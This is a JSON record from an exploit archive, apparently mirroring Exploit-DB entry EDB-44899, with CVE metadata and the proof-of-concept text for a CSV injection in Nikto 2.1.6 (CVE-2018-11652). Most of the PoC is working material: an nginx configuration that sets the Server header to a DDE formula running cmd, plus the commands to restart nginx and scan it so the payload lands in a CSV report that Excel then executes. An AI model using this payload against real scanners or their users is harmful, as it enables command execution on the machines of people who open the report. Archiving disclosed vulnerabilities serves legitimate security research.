{"exploit":{"id":"EDB-44899","name":"Nikto <= 2.1.6 - CSV Injection","description":"Nikto <= 2.1.6 - CSV Injection","cves":["CVE-2018-11652"],"author":"Adam Greenhill","published":"2018-06-18","platform":"linux","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44899","path":"exploits/linux/local/44899.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44899.txt","vulnerabilities":[{"id":"CVE-2018-11652","state":"PUBLISHED","title":null,"titleSource":null,"description":"CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers to inject arbitrary OS commands via the Server field in an HTTP response header, which is directly injected into a CSV report.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-11652","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-11652"},"updatedAt":"2024-08-05T08:17:07.764Z","retrievedAt":"2026-11-27T04:11:36.470Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44899.png?v=2","url":"https://exploitbin.com/exploits/EDB-44899","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44899/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44899/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Nikto 2.1.6 - CSV Injection\n# Google Dork: N/A\n# Date: 2018-06-01\n# Exploit Author: Adam Greenhill\n# Vendor Homepage: https://cirt.net/Nikto2\n# Software Link: https://github.com/sullo/nikto\n# Affected Version: 2.1.6, 2.1.5\n# Category: Applications\n# Tested on: Kali Linux 4.14 x64\n# CVE : CVE-2018-11652\n\n# Technical Description:\n#  CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers\n# to inject arbitrary OS commands via the Server field in an HTTP response header,\n# which is directly injected into a CSV report.\n\n# PoC\n# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras\n# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:\n\nuser www-data;\nworker_processes auto;\npid /run/nginx.pid;\ninclude /etc/nginx/modules-enabled/*.conf;\n\nevents {\n    worker_connections 768;\n    # multi_accept on;\n}\n\nhttp {\n    server_tokens off; # removed pound sign\n    more_set_headers \"Server: =cmd|' /C calc'!'A1'\";\n\n    server {\n        listen 80;\n\n        server_name localhost;\n\n        location /hello {\n            return 200 \"hello world\";\n        }\n    }\n}\n\n# Restart the server: service nginx restart\n# Scan the nginx server with Nikto configured to output the results to a CSV file:\n\nnikto -h <nginx address>:80 -o vuln.csv\n\n# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting\n# to execute","sha256":"b74de282aadb3ffa9c2e3585350338c35438831c9547a1c5776388a9ec5abb3d","bytes":1406,"fetchedAt":"2026-11-27T04:11:36.286Z","encoding":"utf-8 (display only; download retains original bytes)"}